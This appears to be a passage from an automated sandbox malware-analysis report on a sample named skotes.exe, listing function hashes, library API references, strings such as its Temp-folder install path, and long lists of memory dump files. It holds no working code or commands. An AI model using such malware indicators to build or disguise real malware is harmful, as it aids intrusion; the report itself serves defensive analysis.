Instruction Fuzzy Hash: 16314636901766DFCB54EFA4D5916EDBBB3BF54318F24006EE40267652CB31AA04CBD8

Function 0064182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006418A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 006418EB

Strings

pContext, xrefs: 0064189C

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: f148354f9281b8a2e26650bb727df1f1822a227f08efc01b74940033486b08c9
Instruction ID: ee2a1bd52bd9af50d64d8efda90e2a4a8e4864ad8e8e4cb842e995590b78f6e8
Opcode Fuzzy Hash: f148354f9281b8a2e26650bb727df1f1822a227f08efc01b74940033486b08c9
Instruction Fuzzy Hash: 0C210835B006159FCB14AB68D895AFD73ABBF96334B04012EE5118F3D1CBA4ED82CA94

Function 0064DFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

6d, xrefs: 0064E034
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 0064DFE8

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6d$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-2760270080
Opcode ID: 5c6ac85c4406500f431e5cd85cb168176a39d85bab4a0f99f94c7122ae8b21d8
Instruction ID: 39831aff7806f8c7bfdee6c53708cc05f3a4c8a512e8662723301f6f80810789
Opcode Fuzzy Hash: 5c6ac85c4406500f431e5cd85cb168176a39d85bab4a0f99f94c7122ae8b21d8
Instruction Fuzzy Hash: 81219F71604209AF9B70AF65DC80EAB77AFFF107647104918F83897292EB62EC608760

Function 0063AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 0063AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0063AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0063AF4E

Strings

pExecutionResource, xrefs: 0063AF07

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 3e66adb28062a56f06a7a3b75838a2de9ea1af2c6c58bd609972d48ff71a8397
Instruction ID: 3ea6d7984dd1f8471e2d8b339f98061be66f4ed87dbb7339b2338d853143a59a
Opcode Fuzzy Hash: 3e66adb28062a56f06a7a3b75838a2de9ea1af2c6c58bd609972d48ff71a8397
Instruction Fuzzy Hash: 6621E671A406159BCB48EF94C842BADB7B7BF48310F10802DF505AB382DBB0EE04DB95

Function 00634EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00634F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00634F66

Strings

count, xrefs: 00634EBA
ppVirtualProcessorRoots, xrefs: 00634F1C

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: d67c3d20cf2697fd704ea9645a00879c5e871ad0f2c340c6dfc0a6165fa1ff87
Instruction ID: df050d8ec662b8f599c8f62d5363491150452521421a8d5e8311872466783b04
Opcode Fuzzy Hash: d67c3d20cf2697fd704ea9645a00879c5e871ad0f2c340c6dfc0a6165fa1ff87
Instruction Fuzzy Hash: 6D21B034A00615AFCB44EF58D891EADB7B6BF48310F00406DF5069B691CF71AE01CB95

Function 0063B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0063BA0E

Strings

RoUninitialize, xrefs: 0063B9C1
RoInitialize, xrefs: 0063B998
combase.dll, xrefs: 0063B983, 0063B988, 0063B99D, 0063B9C8

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

